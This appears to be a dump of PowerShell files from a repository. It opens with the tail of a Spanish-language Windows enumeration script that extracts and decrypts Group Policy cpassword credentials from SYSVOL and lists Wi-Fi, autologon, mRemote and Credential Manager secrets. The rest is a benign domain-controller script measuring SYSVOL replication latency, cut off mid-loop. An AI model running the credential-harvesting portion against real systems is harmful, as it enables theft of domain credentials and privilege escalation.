= "\\" + (get-info).dominio + "\sysvol\" + (get-info).dominio + "\" + "policies" + "\*.xml" 1089 | $cpassword = findstr /S /I cpassword $path_sysvol; if ($cpassword -ne $null) {$archivo = ($cpassword -split ":")[0]; $cuenta = $cpassword.Length ; $cpassword = $cpassword.Split(" ") 1090 | if ($cuenta -ge 20) { 1091 | $username_cpassword = (($cpassword | Select-String "userName") -replace 'userName="','' -split '"')[0] 1092 | $pass_cpassword = ($cpassword | Select-String "cpassword") -replace 'cpassword="','' -replace '"',"" 1093 | $password_texto_plano = Get-DecryptedCpassword -Cpassword $pass_cpassword 1094 | Write-Host "`n[+] ============================ Encontradas Credenciales Cpass ==================================`n" 1095 | Write-Host "[+] File = $archivo" 1096 | Write-Host "[+] Username = $username_cpassword" 1097 | Write-Host "[+] Password = $password_texto_plano" 1098 | } else {} 1099 | } 1100 | } 1101 | function Comprueba-Todo { 1102 | Write-Host $banner 1103 | Write-Host "`n[+] ================================== Informacion General del Sistema ==================================`n" 1104 | get-info 1105 | Write-Host "`n[+] ================================== Unidades del Sistema ==================================`n" 1106 | get-discosduros 1107 | Write-Host "`n[+] ================================== Privilegios del CurrentUser ==================================`n" 1108 | whoami /priv 1109 | Write-Host "`n[+] ================================== Usuarios Locales ==================================`n" 1110 | Get-LocalUser | ft Name,Enabled,LastLogon 1111 | Write-Host "`n[+] ================================== Grupos Locales ==================================`n" 1112 | (Get-LocalGroup | Select-Object Name).name 1113 | Write-Host "`n[+] ================================== Configuracion de Red ==================================`n" 1114 | get-configRED 1115 | get-webconfig 1116 | Write-Host "`n[+] ================================== Software Instalado ==================================`n" 1117 | get-software 1118 | Write-Host "`n[+] ================================== Drivers de terceros ==================================`n" 1119 | get-driversinstalados 1120 | Write-Host "`n[+] ================================== Servicios sin Comillas ==================================" 1121 | Obtenemos-Servicios 1122 | Wifi-Password 1123 | Search-cpassword 1124 | get-autologon 1125 | get-mremote 1126 | Write-Host "`n[+] ================================== Credenciales del sistema ==================================" 1127 | credman -ShoCred | fl 1128 | get-config-firewall 1129 | } 1130 | 1131 | 1132 | Comprueba-Todo 1133 | 1134 | 1135 | 1136 | -------------------------------------------------------------------------------- /Check-SYSVOL-Replication-Latency-Convergence.ps1: -------------------------------------------------------------------------------- 1 | # Abstract: This PoSH Script Checks The SYSVOL Replication Latency/Convergence 2 | # Written By: Jorge de Almeida Pinto [MVP-DS] 3 | # Blog: http://jorgequestforknowledge.wordpress.com/ 4 | # 5 | # 2013-03-02: (v0.1): Initial version of the script 6 | # 2014-02-01: (v0.2): Updated to also work on W2K3, added STOP option, added few extra columns to output extra info of DCs, better detection of unavailable DCs, and screen adjustment section added 7 | # 2014-02-09: (v0.3): Solved a bug with regards to the detection/location of RWDCs and RODCs 8 | # 2014-02-11: (v0.4): Added additional logic to determine if a DC is either an RWDC or RODC when it fails using the first logic and changed the layout a little bit 9 | # 10 | # REQUIRES: PowerShell v2.0 or higher 11 | # REQUIRES: At least 2 RWDCs 12 | # SUPPORTS: W2K3(R2), W2K8(R2), W2K12(R2) DCs and most likely higher 13 | # SUPPORTS: NTFRS or DFS-R Replication for the SYSVOL 14 | # 15 | # -----> !!! DISCLAIMER/REMARKS !!! <------ 16 | # * The script is freeware, you are free to distribute it, but always refer to this website (http://jorgequestforknowledge.wordpress.com/) as the location where you got it 17 | # * This script is furnished "AS IS". No warranty is expressed or implied! 18 | # * Always test first in lab environment to see if it meets your needs! 19 | # * Use this script at your own risk! 20 | # * I do not warrant this script to be fit for any purpose, use or environment 21 | # * I have tried to check everything that needed to be checked, but I do not guarantee the script does not have bugs. 22 | # * I do not guarantee the script will not damage or destroy your system(s), environment or whatever. 23 | # * I do not accept any liability in any way if you screw up, use the script wrong or in any other way where damage is caused to your environment/systems! 24 | # * If you do not accept these terms do not use the script and delete it immediately! 25 | # -----> !!! DISCLAIMER/REMARKS !!! <------ 26 | 27 | # Clear The Screen 28 | Clear-Host 29 | 30 | # Configure The Appropriate Screen And Buffer Size To Make Sure Everything Fits Nicely 31 | $uiConfig = (Get-Host).UI.RawUI 32 | $uiConfig.WindowTitle = "+++ CHECKING SYSVOL REPLICATION LATENCY/CONVERGENCE +++" 33 | $uiConfig.ForegroundColor = "Yellow" 34 | $uiConfigBufferSize = $uiConfig.BufferSize 35 | $uiConfigBufferSize.Width = 150 36 | $uiConfigBufferSize.Height = 9999 37 | $uiConfigScreenSizeMax = $uiConfig.MaxPhysicalWindowSize 38 | $uiConfigScreenSizeMaxWidth = $uiConfigScreenSizeMax.Width 39 | $uiConfigScreenSizeMaxHeight = $uiConfigScreenSizeMax.Height 40 | $uiConfigScreenSize = $uiConfig.WindowSize 41 | If ($uiConfigScreenSizeMaxWidth -lt 150) { 42 | $uiConfigScreenSize.Width = $uiConfigScreenSizeMaxWidth 43 | } Else { 44 | $uiConfigScreenSize.Width = 150 45 | } 46 | If ($uiConfigScreenSizeMaxHeight -lt 75) { 47 | $uiConfigScreenSize.Height = $uiConfigScreenSizeMaxHeight - 5 48 | } Else { 49 | $uiConfigScreenSize.Height = 75 50 | } 51 | $uiConfig.BufferSize = $uiConfigBufferSize 52 | $uiConfig.WindowSize = $uiConfigScreenSize 53 | 54 | # Start... 55 | Write-Host " *******************************************************" -ForeGroundColor Magenta 56 | Write-Host " * *" -ForeGroundColor Magenta 57 | Write-Host " * --> Test SYSVOL Replication Latency/Convergence <-- *" -ForeGroundColor Magenta 58 | Write-Host " * *" -ForeGroundColor Magenta 59 | Write-Host " * Written By: Jorge de Almeida Pinto [MVP-DS] *" -ForeGroundColor Magenta 60 | Write-Host " * (http://jorgequestforknowledge.wordpress.com/) *" -ForeGroundColor Magenta 61 | Write-Host " * *" -ForeGroundColor Magenta 62 | Write-Host " *******************************************************" -ForeGroundColor Magenta 63 | 64 | ########## 65 | # Some Constants 66 | $continue = $true 67 | $cleanupTempObject = $true 68 | 69 | ########## 70 | # The Function To Test The Port Connection 71 | Function PortConnectionCheck($fqdnDC,$port,$timeOut) { 72 | $tcpPortSocket = $null 73 | $portConnect = $null 74 | $tcpPortWait = $null 75 | $tcpPortSocket = New-Object System.Net.Sockets.TcpClient 76 | $portConnect = $tcpPortSocket.BeginConnect($fqdnDC,$port,$null,$null) 77 | $tcpPortWait = $portConnect.AsyncWaitHandle.WaitOne($timeOut,$false) 78 | If(!$tcpPortWait) { 79 | $tcpPortSocket.Close() 80 | #Write-Host "Connection Timeout" 81 | Return "ERROR" 82 | } Else { 83 | #$error.Clear() 84 | $ErrorActionPreference = "SilentlyContinue" 85 | $tcpPortSocket.EndConnect($portConnect) | Out-Null 86 | If (!$?) { 87 | #Write-Host $error[0] 88 | Return "ERROR" 89 | } Else { 90 | Return "SUCCESS" 91 | } 92 | $tcpPortSocket.Close() 93 | $ErrorActionPreference = "Continue" 94 | } 95 | } 96 | 97 | ########## 98 | # Get The FQDN Of The Local AD Domain From The Server This Script Is Executed On 99 | $ADDomainToWriteTo = $(Get-WmiObject -Class Win32_ComputerSystem).Domain 100 | 101 | ########## 102 | # Get List Of Directory Servers In AD Forest 103 | $ThisADForest = [DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 104 | $configNCDN = $ThisADForest.schema.Name.Substring(("CN=Schema,").Length) 105 | $searchRootNTDSdsa = [ADSI]"LDAP://CN=Sites,$configNCDN" 106 | $searcherNTDSdsaRW = New-Object System.DirectoryServices.DirectorySearcher($searchRootNTDSdsa) 107 | $searcherNTDSdsaRO = New-Object System.DirectoryServices.DirectorySearcher($searchRootNTDSdsa) 108 | $searcherNTDSdsaRW.Filter = "(objectCategory=NTDSDSA)" 109 | $searcherNTDSdsaRO.Filter = "(objectCategory=NTDSDSARO)" 110 | $objNTDSdsaRW = $searcherNTDSdsaRW.FindAll() 111 | $objNTDSdsaRO = $searcherNTDSdsaRO.FindAll() 112 | $TableOfRWDCsInADForest = @() 113 | $objNTDSdsaRW | %{ 114 | $ntdsDN = $_.Properties.distinguishedname 115 | $nbtRWDCName = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=").Length) 116 | $nbtRWDCName = $nbtRWDCName.Substring(0,$nbtRWDCName.IndexOf(",")) 117 | $nbtRWDCSite = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=$nbtRWDCName,CN=Servers,CN=").Length) 118 | $nbtRWDCSite = $nbtRWDCSite.Substring(0,$nbtRWDCSite.IndexOf(",")) 119 | $TableOfRWDCsInADForestObj = "" | Select "DS Name","Site Name" 120 | $TableOfRWDCsInADForestObj."DS Name" = $nbtRWDCName 121 | $TableOfRWDCsInADForestObj."Site Name" = $nbtRWDCSite 122 | $TableOfRWDCsInADForest += $TableOfRWDCsInADForestObj 123 | } 124 | $TableOfRODCsInADForest = @() 125 | $objNTDSdsaRO | %{ 126 | $ntdsDN = $_.Properties.distinguishedname 127 | $nbtRODCName = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=").Length) 128 | $nbtRODCName = $nbtRODCName.Substring(0,$nbtRODCName.IndexOf(",")) 129 | $nbtRODCSite = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=$nbtRODCName,CN=Servers,CN=").Length) 130 | $nbtRODCSite = $nbtRODCSite.Substring(0,$nbtRODCSite.IndexOf(",")) 131 | $TableOfRODCsInADForestObj = "" | Select "DS Name","Site Name" 132 | $TableOfRODCsInADForestObj."DS Name" = $nbtRODCName 133 | $TableOfRODCsInADForestObj."Site Name" = $nbtRODCSite 134 | $TableOfRODCsInADForest += $TableOfRODCsInADForestObj 135 | } 136 | $TableOfDCsInADForest = $TableOfRWDCsInADForest + $TableOfRODCsInADForest 137 | 138 | ########## 139 | # Get List Of DCs In AD Domain, Create And Present In A Table 140 | $contextADDomainToWriteTo = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$ADDomainToWriteTo) 141 | $ListOfDCsInADDomain = [System.DirectoryServices.ActiveDirectory.DomainController]::findall($contextADDomainToWriteTo) 142 | $ListOfRWDCsInADDomain = $ListOfDCsInADDomain | ?{$_.InboundConnections -ne $null -and !($_.InboundConnections -match "RODC Connection")} 143 | $ListOfRODCsInADDomain = $ListOfDCsInADDomain | ?{$_.InboundConnections -match "RODC Connection"} 144 | $TableOfDCsInADDomain = @() 145 | Write-Host "" 146 | Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan 147 | Write-Host "LIST OF DCs IN THE AD DOMAIN '$ADDomainToWriteTo'..." -ForeGroundColor Cyan 148 | ForEach ($DC in $ListOfDCsInADDomain) { 149 | $TableOfDCsInADDomainObj = "" | Select Name,PDC,"Site Name","DS Type","IP Address","OS Version" 150 | $TableOfDCsInADDomainObj.Name = $DC.Name 151 | $TableOfDCsInADDomainObj.PDC = "FALSE" 152 | If ($DC.Roles -ne $null -And $DC.Roles -Contains "PdcRole") { 153 | $TableOfDCsInADDomainObj.PDC = "TRUE" 154 | $pdcFQDN = $DC.Name 155 | $pdcSite = $DC.SiteName 156 | } 157 | If ( $DC.SiteName -ne $null -And $DC.SiteName -ne "") { 158 | $TableOfDCsInADDomainObj."Site Name" = $DC.SiteName 159 | } Else { 160 | If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) { 161 | $TableOfDCsInADDomainObj."Site Name" = ($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))})."Site Name" 162 | } 163 | If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 0) { 164 | $TableOfDCsInADDomainObj."Site Name" = "" 165 | } 166 | If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -gt 1) { 167 | $TableOfDCsInADDomainObj."Site Name" = "" 168 | } 169 | } 170 | $DStype = $null 171 | If ($DStype -eq $null) { 172 | ForEach ($RWDC In $ListOfRWDCsInADDomain) { 173 | If ($RWDC.Name -like $DC.Name) { 174 | $DStype = "Read/Write" 175 | BREAK 176 | } 177 | } 178 | } 179 | If ($DStype -eq $null) { 180 | ForEach ($RODC In $ListOfRODCsInADDomain) { 181 | If ($RODC.Name -like $DC.Name) { 182 | $DStype = "Read-Only" 183 | BREAK 184 | } 185 | } 186 | } 187 | If ($DStype -eq $null) { 188 | $DStype = "" 189 | 190 | If (($TableOfRWDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) { 191 | $DStype = "Read/Write" 192 | } 193 | If (($TableOfRODCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) { 194 | $DStype = "Read-Only" 195 | } 196 | } 197 | $TableOfDCsInADDomainObj."DS Type" = $DStype 198 | If ($DC.IPAddress -ne $null -And $DC.IPAddress -ne "") { 199 | $TableOfDCsInADDomainObj."IP Address" = $DC.IPAddress 200 | } Else { 201 | $TableOfDCsInADDomainObj."IP Address" = "" 202 | } 203 | If ($DC.OSVersion -ne $null -And $DC.OSVersion -ne "") { 204 | $TableOfDCsInADDomainObj."OS Version" = $DC.OSVersion 205 | } Else { 206 | $TableOfDCsInADDomainObj."OS Version" = "" 207 | } 208 | $TableOfDCsInADDomain += $TableOfDCsInADDomainObj 209 | } 210 | $TableOfDCsInADDomain | FT -AutoSize 211 | Write-Host " --> Found [$($ListOfDCsInADDomain.count)] DC(s) In AD Domain..." -ForeGroundColor Cyan 212 | Write-Host "" 213 | 214 | ########## 215 | # Specify A RWDC From The Selected AD Domain 216 | Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan 217 | Write-Host "Which RWDC In The AD Domain '$ADDomainToWriteTo' Should Be Used To Create The Object?" -ForeGroundColor Cyan 218 | Write-Host "" 219 | Write-Host "Available Options Are:" -ForeGroundColor Yellow 220 | Write-Host "[*] Specify 'PDC' To Use The DC With The PDC FSMO Role" -ForeGroundColor Yellow 221 | Write-Host "[*] Just Press Enter To Locate An RWDC" -ForeGroundColor Yellow 222 | Write-Host "[*] Specify The FQDN Of A Specific RWDC" -ForeGroundColor Yellow 223 | Write-Host "[*] Specify 'STOP' To End The Script" -ForeGroundColor Yellow 224 | Write-Host "" 225 | $SourceRWDCInADDomain = Read-Host "Please Choose An Option" 226 | 227 | # If PDC Was Specified Find The RWDC With The PDC FSMO Role And Use That 228 | If ($SourceRWDCInADDomain -eq "PDC") { 229 | $SourceRWDCInADDomainFQDN = $pdcFQDN 230 | $SourceRWDCInADDomainSITE = $pdcSite 231 | } 232 | 233 | # If Nothing Was Specified Automatically Locate An RWDC To Use 234 | If ($SourceRWDCInADDomain -eq "") { 235 | # Locate Just ONE DC (This Could Be An RWDC Or RODC) 236 | $SourceRWDCInADDomainObjectONE = [System.DirectoryServices.ActiveDirectory.DomainController]::findone($contextADDomainToWriteTo) 237 | 238 | # Locate All RWDCs In The AD Domain 239 | $SourceRWDCInADDomainObjectALL = $ListOfRWDCsInADDomain 240 | $UseRWDC = $False 241 | 242 | # Check If The Single DC Found Is An RWDC Or Not By Checking If It Is In The List Of RWDCs 243 | ForEach ($RWDC In $SourceRWDCInADDomainObjectALL) { 244 | If ($RWDC.Name -like $SourceRWDCInADDomainObjectONE.Name) { 245 | $UseRWDC = $True 246 | } 247 | } 248 | 249 | # If The Single DC Found Is An RWDC, Then Use That One 250 | If ($UseRWDC -eq $True) { 251 | $SourceRWDCInADDomainFQDN = $SourceRWDCInADDomainObjectONE.Name 252 | $SourceRWDCInADDomainSITE = $SourceRWDCInADDomainObjectONE.SiteName 253 | } 254 | 255 | # If The Single DC Found Is An RODC, Then Find The RWDC With The PDC FSMO Role And Use That 256 | If ($UseRWDC -eq $False) { 257 | $SourceRWDCInADDomainFQDN = $pdcFQDN 258 | $SourceRWDCInADDomainSITE = $pdcSite 259 | } 260 | 261 | } 262 | 263 | # If A Specific RWDC Was Specified Then Use That One 264 | If ($SourceRWDCInADDomain -ne "" -And $SourceRWDCInADDomain -ne "PDC" -And $SourceRWDCInADDomain -ne "STOP") { 265 | $contextRWDCToWriteTo = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("DirectoryServer",$SourceRWDCInADDomain) 266 | $SourceRWDCInADDomainObject = [System.DirectoryServices.ActiveDirectory.DomainController]::GetDomainController($contextRWDCToWriteTo) 267 | $SourceRWDCInADDomainFQDN = $SourceRWDCInADDomainObject.Name 268 | $SourceRWDCInADDomainSITE = $SourceRWDCInADDomainObject.SiteName 269 | } 270 | 271 | # If STOP Was Specified Then End The Script 272 | If ($SourceRWDCInADDomain -eq "STOP") { 273 | Write-Host "" 274 | Write-Host "'STOP' Was Specified..." -ForeGroundColor Red 275 | Write-Host "Aborting Script..." -ForeGroundColor Red 276 | Write-Host "" 277 | EXIT 278 | } 279 | 280 | # Check If The Selected DC Actually Exists In The AD Domain And Its Is An RWDC And NOT An RODC 281 | $RWDCvalidity = $False 282 | ForEach ($DC in $ListOfRWDCsInADDomain) { 283 | If ($DC.Name -like $SourceRWDCInADDomainFQDN) { 284 | $RWDCvalidity = $True 285 | } 286 | } 287 | Write-Host "" 288 | Write-Host "Checking Existence And Connectivity Of The Specified RWDC '$SourceRWDCInADDomainFQDN' In The AD Domain '$ADDomainToWriteTo'..." -ForeGroundColor Yellow 289 | If ($RWDCvalidity -eq $True) { 290 | Write-Host "" 291 | Write-Host "The Specified DC '$SourceRWDCInADDomainFQDN' Is An RWDC And It Exists In The AD Domain '$ADDomainToWriteTo'!" -ForeGroundColor Green 292 | Write-Host "" 293 | Write-Host "Continuing Script..." -ForeGroundColor Green 294 | $smbPort = "445" 295 | $timeOut = "500" 296 | $smbConnectionResult = $null 297 | $fqdnDC = $SourceRWDCInADDomainFQDN 298 | $smbConnectionResult = PortConnectionCheck $fqdnDC $smbPort $timeOut 299 | If ($smbConnectionResult -eq "SUCCESS") { 300 | Write-Host "" 301 | Write-Host "The Specified RWDC '$SourceRWDCInADDomainFQDN' Is Reachable!" -ForeGroundColor Green 302 | Write-Host "" 303 | Write-Host "Continuing Script..." -ForeGroundColor Green 304 | Write-Host "" 305 | } 306 | If ($smbConnectionResult -eq "ERROR") { 307 | Write-Host "" 308 | Write-Host "The Specified RWDC '$SourceRWDCInADDomainFQDN' Is NOT Reachable!" -ForeGroundColor Red 309 | Write-Host "" 310 | Write-Host "Please Re-Run The Script And Make Sure To Use An RWDC That Is Reachable!" -ForeGroundColor Red 311 | Write-Host "" 312 | Write-Host "Aborting Script..." -ForeGroundColor Red 313 | Write-Host "" 314 | Break 315 | } 316 | } 317 | If ($RWDCvalidity -eq $False) { 318 | Write-Host "" 319 | Write-Host "The Specified DC '$SourceRWDCInADDomainFQDN' Either Does NOT Exist In The AD Domain '$ADDomainToWriteTo' Or Is NOT And RWDC!" -ForeGroundColor Red 320 | Write-Host "" 321 | Write-Host "Please Re-Run The Script And Provide The FQDN Of An RWDC Within The AD Domain '$ADDomainToWriteTo' That Does Exist" -ForeGroundColor Red 322 | Write-Host "" 323 | Write-Host "Aborting Script..." -ForeGroundColor Red 324 | Write-Host "" 325 | Break 326 | } 327 | 328 | ########## 329 | # Determine SYSVOL Replication Mechanism And SYSVOL/NetLogon Location On Sourcing RWDC 330 | Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan 331 | Write-Host "SYSVOL REPLICATION MECHANISM..." -ForeGroundColor Cyan 332 | Write-Host "" 333 | 334 | # Get The Default Naming Contexr 335 | $defaultNamingContext = (([ADSI]"LDAP://$SourceRWDCInADDomainFQDN/rootDSE").defaultNamingContext) 336 | 337 | # Find The Computer Account Of The Sourcing RWDC 338 | $Searcher = New-Object DirectoryServices.DirectorySearcher 339 | $Searcher.Filter = "(&(objectClass=computer)(dNSHostName=$SourceRWDCInADDomainFQDN))" 340 | $Searcher.SearchRoot = "LDAP://" + $SourceRWDCInADDomainFQDN + "/OU=Domain Controllers," + $defaultNamingContext 341 | # The following appears NOT to work on W2K3, but it does upper-level OSes 342 | # $dcObjectPath = $Searcher.FindAll().Path 343 | # The following appears to work on all OSes 344 | $dcObjectPath = $Searcher.FindAll() | %{$_.Path} 345 | 346 | # Check If An NTFRS Subscriber Object Exists To Determine If NTFRS Is Being Used Instead Of DFS-R 347 | $SearcherNTFRS = New-Object DirectoryServices.DirectorySearcher 348 | $SearcherNTFRS.Filter = "(&(objectClass=nTFRSSubscriber)(name=Domain System Volume (SYSVOL share)))" 349 | $SearcherNTFRS.SearchRoot = $dcObjectPath 350 | $ntfrsSubscriptionObject = $SearcherNTFRS.FindAll() 351 | If ($ntfrsSubscriptionObject -ne $null) { 352 | Write-Host "SYSVOL Replication Mechanism Being Used...: NTFRS" 353 | # Get The Local Root Path For The SYSVOL 354 | # The following appears NOT to work on W2K3, but it does upper-level OSes 355 | # $sysvolRootPathOnSourcingRWDC = $ntfrsSubscriptionObject.Properties.frsrootpath 356 | # The following appears to work on all OSes 357 | $sysvolRootPathOnSourcingRWDC = $ntfrsSubscriptionObject | %{$_.Properties.frsrootpath} 358 | } 359 | 360 | # Check If An DFS-R Subscriber Object Exists To Determine If DFS-R Is Being Used Instead Of NTFRS 361 | $SearcherDFSR = New-Object DirectoryServices.DirectorySearcher 362 | $SearcherDFSR.Filter = "(&(objectClass=msDFSR-Subscription)(name=SYSVOL Subscription))" 363 | $SearcherDFSR.SearchRoot = $dcObjectPath 364 | $dfsrSubscriptionObject = $SearcherDFSR.FindAll() 365 | If ($dfsrSubscriptionObject -ne $null) { 366 | Write-Host "SYSVOL Replication Mechanism Being Used...: DFS-R" -ForeGroundColor Yellow 367 | Write-Host "" 368 | # Get The Local Root Path For The SYSVOL 369 | # The following appears NOT to work on W2K3, but it does not upper-level OSes. NOT really needed, because W2K3 does not support DFS-R for SYSVOL! 370 | # $sysvolRootPathOnSourcingRWDC = $dfsrSubscriptionObject.Properties."msdfsr-rootpath" 371 | # The following appears to work on all OSes 372 | $sysvolRootPathOnSourcingRWDC = $dfsrSubscriptionObject | %{$_.Properties."msdfsr-rootpath"} 373 | } 374 | 375 | # Determine The UNC Of The Folder To Write The Temp File To 376 | $scriptsUNCPathOnSourcingRWDC = "\\" + $SourceRWDCInADDomainFQDN + "\" + $($sysvolRootPathOnSourcingRWDC.Replace(":","$")) + "\Scripts" 377 | ########## 378 | # Get List Of DCs In AD Domain To Which The Temp Object Will Replicate, Create And Present In A Table 379 | Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan 380 | Write-Host "LIST OF DIRECTORY SERVERS THE TEMP OBJECT REPLICATES TO..." -ForeGroundColor Cyan 381 | 382 | # Put The Selected RWDC Already In the Table [A] Of Directory Servers To Which The Temp Object Will Replicate 383 | $TableOfDSServersA = @() 384 | $TableOfDSServersAObj = "" | Select Name,"Site Name",Reachable 385 | $TableOfDSServersAObj.Name = ("$SourceRWDCInADDomainFQDN [SOURCE RWDC]").ToUpper() 386 | $TableOfDSServersAObj."Site Name" = $SourceRWDCInADDomainSITE 387 | $TableOfDSServersAObj.Reachable = "TRUE" 388 | $TableOfDSServersA += $TableOfDSServersAObj 389 | 390 | # Put The Selected RWDC Already In the Table [B] Of Directory Servers Where The Replication Starts 391 | $TableOfDSServersB = @() 392 | $TableOfDSServersBObj = "" | Select Name,"Site Name",Time 393 | $TableOfDSServersBObj.Name = ("$SourceRWDCInADDomainFQDN [SOURCE RWDC]").ToUpper() 394 | $TableOfDSServersBObj."Site Name" = $SourceRWDCInADDomainSITE 395 | $TableOfDSServersBObj.Time = 0.00 396 | $TableOfDSServersB += $TableOfDSServersBObj 397 | 398 | # Add All Other Remaining DCs In The Targeted AD Domain To The List Of Directory Servers [A] 399 | ForEach ($DC In $ListOfDCsInADDomain) { 400 | If(!($DC.Name -like $SourceRWDCInADDomainFQDN)) { 401 | $TableOfDSServersAObj = "" | Select Name,"Site Name",Reachable 402 | $TableOfDSServersAObj.Name = $DC.Name 403 | If ($DC.SiteName -ne $null -And $DC.SiteName -ne "") { 404 | $TableOfDSServersAObj."Site Name" = $DC.SiteName 405 | } Else { 406 | If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) { 407 | $TableOfDSServersAObj."Site Name" = ($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))})."Site Name" 408 | } 409 | If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 0) { 410 | $TableOfDSServersAObj."Site Name" = "" 411 | } 412 | If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -gt 1) { 413 | $TableOfDSServersAObj."Site Name" = "" 414 | } 415 | } 416 | $smbPort = "445" 417 | $timeOut = "500" 418 | $smbConnectionResult = $null 419 | $fqdnDC = $DC.Name 420 | $smbConnectionResult = PortConnectionCheck $fqdnDC $smbPort $timeOut 421 | If ($smbConnectionResult -eq "SUCCESS") { 422 | $TableOfDSServersAObj.Reachable = "TRUE" 423 | } 424 | If ($smbConnectionResult -eq "ERROR") { 425 | $TableOfDSServersAObj.Reachable = "FALSE" 426 | } 427 | $TableOfDSServersA += $TableOfDSServersAObj 428 | } 429 | } 430 | $TableOfDSServersA | FT -AutoSize 431 | Write-Host " --> Found [$($TableOfDSServersA.count)] Directory Server(s)..." -ForeGroundColor Cyan 432 | Write-Host "" 433 | 434 | ########## 435 | # Create The Temp Object On The Targeted RWDC 436 | Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan 437 | Write-Host "CREATING TEMP TEXT FILE IN SYSVOL/NETLOGON...:" -ForeGroundColor Cyan 438 | Write-Host "" 439 | $domainNCDN = $defaultNamingContext 440 | $tempObjectName = "sysvolReplTempObject" + (Get-Date -f yyyyMMddHHmmss) + ".txt" 441 | Write-Host " --> On RWDC.............: $SourceRWDCInADDomainFQDN" -ForeGroundColor Yellow 442 | Write-Host " --> With Full Name......: $tempObjectName" -ForeGroundColor Yellow 443 | Write-Host " --> With Contents.......: ...!!!...TEMP OBJECT TO TEST SYSVOL REPLICATION LATENCY/CONVERGENCE...!!!..." -ForeGroundColor Yellow 444 | Write-Host " --> In AD Domain........: $ADDomainToWriteTo ($domainNCDN)" -ForeGroundColor Yellow 445 | "...!!!...TEMP OBJECT TO TEST AD REPLICATION LATENCY/CONVERGENCE...!!!..." | Out-File -FilePath $($scriptsUNCPathOnSourcingRWDC + "\" + $tempObjectName) 446 | Write-Host "`n Temp Text File [$tempObjectName] Has Been Created In The NetLogon Share Of RWDC [$SourceRWDCInADDomainFQDN]! `n" -ForeGroundColor Yellow 447 | 448 | ########## 449 | # Go Through The Process Of Checking Each Directory Server To See If The Temp Object Already Has Replicated To It 450 | $startDateTime = Get-Date 451 | $i = 0 452 | Write-Host " --> Found [$($TableOfDSServersA.count)] Directory Server(s)..." -ForeGroundColor Yellow 453 | Write-Host "" 454 | While($continue) { 455 | $i++ 456 | $oldpos = $host.UI.RawUI.CursorPosition 457 | Write-Host " ====================== CHECK $i ======================" -ForeGroundColor Yellow 458 | Write-Host "" 459 | Write-Host " REMARK: Each DC In The List Below Must Be At Least Accessible Through SMB Over TCP (445)" -ForeGroundColor Red 460 | Write-Host "" 461 | Start-Sleep 1 462 | $replicated = $true 463 | 464 | # For Each Directory Server In The List/Table [A] Perform A Number Of Steps 465 | ForEach ($DSsrv in $TableOfDSServersA) { 466 | If ($DSsrv.Name -match $SourceRWDCInADDomainFQDN) { 467 | Write-Host " * Contacting DC In AD domain ...[$($DSsrv.Name.ToUpper())]..." -ForeGroundColor Yellow 468 | Write-Host " - DC Is Reachable..." -ForeGroundColor Green 469 | Write-Host " - Object [$tempObjectName] Exists In The NetLogon Share" (" "*3) -ForeGroundColor Green 470 | continue 471 | } 472 | 473 | # If The Directory Server Is A DC In The AD Domain, Then Connect Through LDAP (TCP:445) 474 | If ($DSsrv.Name -notmatch $SourceRWDCInADDomainFQDN) { 475 | Write-Host "" 476 | Write-Host " * Contacting DC In AD domain ...[$($DSsrv.Name.ToUpper())]..." -ForeGroundColor Yellow 477 | $connectionResult = $null 478 | If ($DSsrv.Reachable -eq "TRUE") { 479 | Write-Host " - DC Is Reachable..." -ForeGroundColor Green 480 | $objectPath = "\\" + $($DSsrv.Name) + "\Netlogon\" + $tempObjectName 481 | $connectionResult = "SUCCESS" 482 | } 483 | If ($DSsrv.Reachable -eq "FALSE") { 484 | Write-Host " - DC Is NOT Reachable..." -ForeGroundColor Red 485 | $connectionResult = "FAILURE" 486 | } 487 | } 488 | 489 | # If The Connection To The DC Is Successful 490 | If ($connectionResult -eq "SUCCESS") { 491 | If (Test-Path -Path $objectPath) { 492 | # If The Temp Object Already Exists 493 | Write-Host " - Object [$tempObjectName] Now Does Exist In The NetLogon Share" (" "*3) -ForeGroundColor Green 494 | If (!($TableOfDSServersB | ?{$_.Name -match $DSsrv.Name})) { 495 | $TableOfDSServersBobj = "" | Select Name,"Site Name",Time 496 | $TableOfDSServersBobj.Name = $DSsrv.Name 497 | $TableOfDSServersBObj."Site Name" = $DSsrv."Site Name" 498 | $TableOfDSServersBObj.Time = ("{0:n2}" -f ((Get-Date)-$startDateTime).TotalSeconds) 499 | $TableOfDSServersB += $TableOfDSServersBObj 500 | } 501 | } Else { 502 | # If The Temp Object Does Not Yet Exist 503 | 